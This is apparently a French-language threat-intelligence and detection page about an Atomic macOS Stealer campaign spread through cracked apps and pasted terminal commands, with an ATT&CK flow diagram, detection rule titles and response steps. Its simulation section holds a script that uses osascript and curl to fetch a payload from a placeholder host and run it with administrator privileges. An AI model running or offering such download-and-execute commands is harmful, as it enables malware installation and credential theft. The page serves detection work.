Le voleur AMOS cible macOS via des applications « crackées »
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Le rapport décrit une campagne distribuant Atomic macOS Stealer (AMOS) en le déguisant en applications piratées ou en instruisant les utilisateurs à exécuter des commandes de terminal copiées-collées. Une fois exécuté, le malware collecte un ensemble large de données sensibles, y compris des identifiants, des informations sur les navigateurs, des portefeuilles de cryptomonnaie, des fichiers d’applications de messagerie, des profils VPN et des documents personnels, puis exfiltre le contenu volé via HTTP ou HTTPS. Pour éviter la détection statique, les opérateurs changent de domaine et d’URLs tout au long de la campagne. L’activité vise les utilisateurs de macOS, en particulier ceux qui recherchent des logiciels non officiels ou piratés.
Investigation
La télémétrie Trend Vision One a été utilisée pour reconstruire toute la chaîne d’infection, débutant avec le téléchargement d’applications piratées depuis haxmac.cc, suivie d’une redirection via des domaines intermédiaires, l’exécution de scripts shell malveillants, la création de démons de lancement pour la persistance, la préparation des données dans /tmp, la compression des données dans des archives ZIP, et l’exfiltration vers des domaines contrôlés par les attaquants avec rotation. Les chercheurs ont capturé les lignes de commande pertinentes, les chemins de fichier et les indicateurs comportementaux associés à chaque étape de la compromission.
Atténuation
Les organisations devraient informer les utilisateurs des risques liés aux logiciels piratés et aux commandes de terminal copiées-collées, appliquer les contrôles Gatekeeper et de notarisation, et limiter l’exécution inutile de scripts sur les systèmes macOS. Les défenseurs devraient également surveiller les activités suspectes de curl and osascript et bloquer l’accès aux domaines et adresses IP malveillants connus. Les détections sur les points finaux devraient se concentrer sur la création non autorisée de démons de lancement, le placement de fichiers cachés, et un comportement inhabituel de collecte ou d’exfiltration de fichiers.
Réponse
Si une activité AMOS est détectée, isoler le point final affecté, terminer les processus malveillants, supprimer les fichiers cachés tels que .helper, .agent, et com.finder.helper.plist, et supprimer toutes les données mises en scène pour l’exfiltration. Les identifiants compromis devraient être révoqués et une analyse médico-légale devrait être réalisée sur toutes les archives récupérées. L’infrastructure malveillante identifiée devrait être bloquée, et le contenu de détection devrait être mis à jour pour surveiller les motifs de commande observés.
graph TB %% Définitions des classes classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% Nœuds – Actions (Techniques) step1_initial_access_file[« <b>Action</b> – <b>T1204.002 Exécution Utilisateur : Fichier Malveillant</b><br/>La victime télécharge et exécute un fichier .dmg trojanisé déguisé en application crackée. »] class step1_initial_access_file action step2_copy_paste[« <b>Action</b> – <b>T1204.004 Exécution Utilisateur : Copie et Collage Malveillants</b><br/>La victime copie une commande curl depuis une page web dans le Terminal, ce qui télécharge et exécute install.sh. »] class step2_copy_paste action step3_masquerading[« <b>Action</b> – <b>T1036 Masquage</b><br/>Le malware est présenté comme un logiciel cracké légitime et de fausses pages d’installation. »] class step3_masquerading action step4_curl_proxy[« <b>Action</b> – <b>T1218 Exécution Proxy de Binaire Système</b><br/>Le binaire légitime curl récupère des scripts malveillants. »] class step4_curl_proxy action step5_osascript_proxy[« <b>Action</b> – <b>T1216 Exécution Proxy de Script Système</b><br/>osascript exécute une charge utile AppleScript afin d’exécuter du code. »] class step5_osascript_proxy action step6_shell_interpreter[« <b>Action</b> – <b>T1059.004 Interpréteur de Commandes et Scripts : Shell Unix</b><br/>Les commandes shell créent des répertoires, collectent des fichiers et invoquent curl pour l’exfiltration. »] class step6_shell_interpreter action step7_sudo_abuse[« <b>Action</b> – <b>T1548.003 Abus du Mécanisme d’Élévation de Contrôle : Sudo et Cache Sudo</b><br/>Le mot de passe capturé est fourni à sudo pour écrire un plist LaunchDaemon avec des privilèges root. »] class step7_sudo_abuse action step8_persistence[« <b>Action</b> – <b>T1569 Services Système : LaunchDaemon</b><br/>LaunchDaemon (com.finder.helper.plist) exécute le script malveillant .agent au démarrage du système. »] class step8_persistence action step9_defense_evasion[« <b>Action</b> – <b>T1127 Exécution Proxy d’Utilitaires de Développement Fiables</b><br/>Les utilitaires de développement Apple (osascript) sont utilisés pour exécuter la charge utile en contournant les défenses. »] class step9_defense_evasion action step10_dga[« <b>Action</b> – <b>T1568.002 Résolution Dynamique : Algorithmes de Génération de Domaines</b><br/>L’attaquant fait tourner de nombreux domaines .cfd et d’autres domaines pour la livraison des charges utiles. »] class step10_dga action step11_browser_creds[« <b>Action</b> – <b>T1555.003 Identifiants depuis les Magasins de Mots de Passe : Navigateurs Web</b><br/>Extraction des données de connexion et des cookies de Chrome, Firefox et Edge. »] class step11_browser_creds action step12_keychain[« <b>Action</b> – <b>T1555 Identifiants depuis les Magasins de Mots de Passe</b><br/>Extraction des éléments du Trousseau macOS. »] class step12_keychain action step13_wallet_keys[« <b>Action</b> – <b>T1552.004 Clés Privées</b><br/>Vol de fichiers de portefeuilles de cryptomonnaies. »] class step13_wallet_keys action step14_session_cookies[« <b>Action</b> – <b>T1550.004 Cookie de Session Web</b><br/>Collecte de cookies de session pour une réutilisation ultérieure. »] class step14_session_cookies action step15_archive[« <b>Action</b> – <b>T1560 Archivage des Données Collectées</b><br/>Les fichiers collectés sont compressés dans out.zip. »] class step15_archive action step16_compression[« <b>Action</b> – <b>T1027.015 Compression</b><br/>Les données sont compressées avant l’exfiltration (obfuscation). »] class step16_compression action step17_exfil_https[« <b>Action</b> – <b>T1071.001 Protocole de Couche Applicative : Protocoles Web</b><br/>L’archive compressée est envoyée via HTTPS POST vers un serveur contrôlé par l’attaquant. »] class step17_exfil_https action step18_indirect_curl[« <b>Action</b> – <b>T1202 Exécution Indirecte de Commande</b><br/>La commande curl récupère et exécute silencieusement un script distant. »] class step18_indirect_curl action %% Nœuds – Outils tool_curl[« <b>Outil</b> – <b>Nom</b> : curl<br/><b>Description</b> : Utilitaire en ligne de commande permettant de transférer des données avec des URL. »] class tool_curl tool tool_osascript[« <b>Outil</b> – <b>Nom</b> : osascript<br/><b>Description</b> : Exécute des scripts AppleScript ou JavaScript for Automation. »] class tool_osascript tool tool_sudo[« <b>Outil</b> – <b>Nom</b> : sudo<br/><b>Description</b> : Exécute des commandes avec des privilèges élevés. »] class tool_sudo tool tool_launchd[« <b>Outil</b> – <b>Nom</b> : launchd<br/><b>Description</b> : Gestionnaire de services macOS pour charger des LaunchDaemons et des agents. »] class tool_launchd tool %% Nœuds – Fichiers et Données file_dmg[« <b>Fichier</b> – <b>Nom</b> : trojanized.dmg<br/><b>Type</b> : Image disque déguisée en application crackée »] class file_dmg file file_install_sh[« <b>Fichier</b> – <b>Nom</b> : install.sh<br/><b>Type</b> : Script shell téléchargé via curl »] class file_install_sh file data_out_zip[« <b>Données</b> – <b>Nom</b> : out.zip<br/><b>Contenu</b> : Fichiers collectés prêts pour l’exfiltration »] class data_out_zip data %% Connexions de Flux step1_initial_access_file –>|télécharge et exécute| file_dmg file_dmg –>|déclenche| step1_initial_access_file step1_initial_access_file –>|mène à| step2_copy_paste step2_copy_paste –>|utilise| tool_curl tool_curl –>|télécharge| file_install_sh file_install_sh –>|exécute| step2_copy_paste step2_copy_paste –>|mène à| step3_masquerading step3_masquerading –>|active| step4_curl_proxy step4_curl_proxy –>|utilise| tool_curl tool_curl –>|récupère| step5_osascript_proxy step5_osascript_proxy –>|utilise| tool_osascript tool_osascript –>|exécute| step6_shell_interpreter step6_shell_interpreter –>|invoque| step7_sudo_abuse step7_sudo_abuse –>|utilise| tool_sudo tool_sudo –>|écrit| step8_persistence step8_persistence –>|géré par| tool_launchd tool_launchd –>|exécute| step9_defense_evasion step9_defense_evasion –>|facilite| step10_dga step10_dga –>|fournit| step11_browser_creds step10_dga –>|fournit| step12_keychain step10_dga –>|fournit| step13_wallet_keys step10_dga –>|fournit| step14_session_cookies step11_browser_creds –>|collecté dans| step15_archive step12_keychain –>|collecté dans| step15_archive step13_wallet_keys –>|collecté dans| step15_archive step14_session_cookies –>|collecté dans| step15_archive step15_archive –>|produit| data_out_zip data_out_zip –>|compressé par| step16_compression step16_compression –>|envoyé via| step17_exfil_https step17_exfil_https –>|utilise| tool_curl tool_curl –>|effectue| step18_indirect_curl step18_indirect_curl –>|complète| step1_initial_access_file %% Style class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data
Flux d’attaque
Détections
Utilisation suspecte de Ditto pour l’archivage et l’exfiltration de fichiers sur macOS (via process_creation)
Voir
Possibilité de mise en scène de plusieurs fichiers dans le répertoire TMP pour l’exfiltration (via file_event)
Voir
Atomic MacOS Stealer – Activité FileGrabber
Voir
Possible copie des données de connexion Chrome vers le répertoire TMP (via process_creation)
Voir
IOCs (HashSha1) pour détecter : Analyse de la campagne AMOS Stealer ciblant macOS via des applications ‘craquées’
Voir
IOCs (SourceIP) pour détecter : Analyse de la campagne AMOS Stealer ciblant macOS via des applications ‘craquées’
Voir
IOCs (DestinationIP) pour détecter : Analyse de la campagne AMOS Stealer ciblant macOS via des applications ‘craquées’
Voir
Détection de l’exécution d’AMOS Stealer via des commandes Terminal sur macOS [Création de processus Linux]
Voir
Détection de l’exécution d’AMOS Stealer via AppleScript et Curl [Création de processus Linux]
Voir
Exécution de Simulation
Condition préalable : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir réussi.
Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et la narration DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection. Des exemples abstraits ou non liés conduiront à une mauvaise interprétation.
-
Narratif de l’attaque & Commandes :
Un adversaire a obtenu un leurre de phishing qui livre une charge utile AppleScript courte. Le script utiliseosascriptpour exécuter une commande shell (sh -c) qui invoquecurlpour télécharger le binaire AMOS stealer depuis un serveur C2 malveillant, le stocke dans le~/Library/Application Support/dossier de l’utilisateur, et l’exécute ensuite avec des privilèges élevés. L’utilisation deosascript(un binaire Apple signé) masque l’activité en tant qu’automatisation légitime, tandis quecurlassure un téléchargement réseau discret. -
Script de test de régression :
# amos_stealer_simulation.sh # Simuler l'exécution d'AMOS stealer sur macOS utilisant osascript + curl # 1. Définir l'URL malveillante (utiliser un emplacement inoffensif pour la sécurité) MALICIOUS_URL="https://example.com/malicious_payload.sh" # 2. AppleScript qui exécute une commande shell pour télécharger & exécuter la charge utile APPLESCRIPT=$(cat <<'EOF' do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges EOF ) # 3. Exécuter l'AppleScript via osascript echo "$APPLESCRIPT" | osascript # 4. Pause brève pour permettre à la charge utile de s'exécuter sleep 5 -
Commandes de nettoyage :
# cleanup_amos_simulation.sh # Supprimer les artefacts créés par la simulation # Supprimer la charge utile téléchargée rm -f /tmp/payload.sh # Révoquer les processus élevés temporaires (si encore en cours) pkill -f "/tmp/payload.sh" || true # Facultativement, effacer l'historique d'exécution d'AppleScript # (macOS ne conserve pas un historique persistant pour osascript) echo "Nettoyage terminé."